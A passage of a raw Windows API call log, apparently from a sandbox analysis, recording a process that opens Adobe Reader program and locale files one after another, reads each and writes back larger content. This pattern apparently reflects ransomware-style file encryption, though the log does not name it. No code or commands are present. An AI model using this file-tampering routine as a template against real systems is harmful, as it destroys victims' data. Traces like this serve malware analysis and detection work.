lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x1e6308c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.KOR", lpUsedDefaultChar=0x0) returned 11 [0032.977] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0032.993] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0032.993] WriteFile (in: hFile=0x168, lpBuffer=0x261ec48*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0032.994] CloseHandle (hObject=0x168) returned 1 [0032.995] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.998] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.999] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1e00 [0032.999] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.999] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.999] ReleaseMutex (hMutex=0x128) returned 1 [0032.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x1e6308c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SVE", lpUsedDefaultChar=0x0) returned 11 [0032.999] ReadFile (in: hFile=0x12c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0033.002] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0033.002] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9c08*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c9c08*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0033.003] CloseHandle (hObject=0x12c) returned 1 [0033.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0033.006] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0033.006] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1e00 [0033.006] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0033.006] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.006] ReleaseMutex (hMutex=0x128) returned 1 [0033.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x1e6308c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.EUQ", lpUsedDefaultChar=0x0) returned 11 [0033.006] ReadFile (in: hFile=0x12c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0033.013] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0033.013] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9c08*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c9c08*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0033.014] CloseHandle (hObject=0x12c) returned 1 [0033.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0033.020] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0033.020] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1e00 [0033.020] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0033.020] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.020] ReleaseMutex (hMutex=0x128) returned 1 [0033.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.PTB", lpUsedDefaultChar=0x0) returned 11 [0033.020] ReadFile (in: hFile=0x12c, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0033.030] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0033.030] WriteFile (in: hFile=0x12c, lpBuffer=0x2626c78*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2626c78*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0033.031] CloseHandle (hObject=0x12c) returned 1 [0033.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Eula.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\eula.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0033.031] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0033.032] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x17190 [0033.032] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0033.032] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.032] ReleaseMutex (hMutex=0x128) returned 1 [0033.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eula.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eula.exe", cchWideChar=8, lpMultiByteStr=0x1e633ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eula.exe", lpUsedDefaultChar=0x0) returned 8 [0033.032] ReadFile (in: hFile=0x12c, lpBuffer=0x2626c78, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2626c78*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.246] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x16190 [0033.246] ReadFile (in: hFile=0x12c, lpBuffer=0x2620c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2620c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.413] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x16190 [0033.413] WriteFile (in: hFile=0x12c, lpBuffer=0x2622ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2622ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.413] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0033.413] WriteFile (in: hFile=0x12c, lpBuffer=0x2620c78*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2620c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.413] CloseHandle (hObject=0x12c) returned 1 [0033.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0033.798] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0033.798] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x416 [0033.798] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0033.798] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.798] ReleaseMutex (hMutex=0x128) returned 1 [0033.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6314c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0033.799] ReadFile (in: hFile=0x12c, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x416, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x2b0f2bc*=0x416, lpOverlapped=0x0) returned 1 [0034.083] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0034.083] WriteFile (in: hFile=0x12c, lpBuffer=0x27bfb58*, nNumberOfBytesToWrite=0x99e, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27bfb58*, lpNumberOfBytesWritten=0x2b0f2d0*=0x99e, lpOverlapped=0x0) returned 1 [0034.083] CloseHandle (hObject=0x12c) returned 1 [0034.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.084] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.085] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4d8 [0034.085] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.085] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.085] ReleaseMutex (hMutex=0x128) returned 1 [0034.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0034.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0034.085] ReadFile (in: hFile=0x12c, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4d8, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2b0f2bc*=0x4d8, lpOverlapped=0x0) returned 1 [0034.208] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0034.208] WriteFile (in: hFile=0x12c, lpBuffer=0x1defea8*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1defea8*, lpNumberOfBytesWritten=0x2b0f2d0*=0xa60, lpOverlapped=0x0) returned 1 [0034.209] CloseHandle (hObject=0x12c) returned 1 [0034.210] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.210] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.210] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x260 [0034.210] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.210] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.210] ReleaseMutex (hMutex=0x128) returned 1 [0034.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0034.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6322c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0034.211] ReadFile (in: hFile=0x12c, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2b0f2bc*=0x260, lpOverlapped=0x0) returned 1 [0034.212] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0034.212] WriteFile (in: hFile=0x12c, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7e8, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x7e8, lpOverlapped=0x0) returned 1 [0034.212] CloseHandle (hObject=0x12c) returned 1 [0034.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.214] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.214] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4d6 [0034.214] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.214] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.214] ReleaseMutex (hMutex=0x128) returned 1 [0034.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0034.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0034.214] ReadFile (in: hFile=0x12c, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4d6, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2b0f2bc*=0x4d6, lpOverlapped=0x0) returned 1 [0034.232] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0034.232] WriteFile (in: hFile=0x12c, lpBuffer=0x1dedf48*, nNumberOfBytesToWrite=0xa5e, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dedf48*, lpNumberOfBytesWritten=0x2b0f2d0*=0xa5e, lpOverlapped=0x0) returned 1 [0034.232] CloseHandle (hObject=0x12c) returned 1 [0034.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.234] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.234] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3f6 [0034.234] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.234] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.234] ReleaseMutex (hMutex=0x128) returned 1 [0034.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0034.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0034.234] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0x3f6, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0x3f6, lpOverlapped=0x0) returned 1 [0034.287] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0034.287] WriteFile (in: hFile=0x12c, lpBuffer=0x27d2bb8*, nNumberOfBytesToWrite=0x97e, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27d2bb8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x97e, lpOverlapped=0x0) returned 1 [0034.287] CloseHandle (hObject=0x12c) returned 1 [0034.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\brdlang32.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.319] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.319] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3800 [0034.319] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.319] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.319] ReleaseMutex (hMutex=0x128) returned 1 [0034.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CAT", cchWideChar=13, lpMultiByteStr=0x1e6310c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CAT", lpUsedDefaultChar=0x0) returned 13 [0034.320] ReadFile (in: hFile=0x12c, lpBuffer=0x1decf18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1decf18*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.525] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, 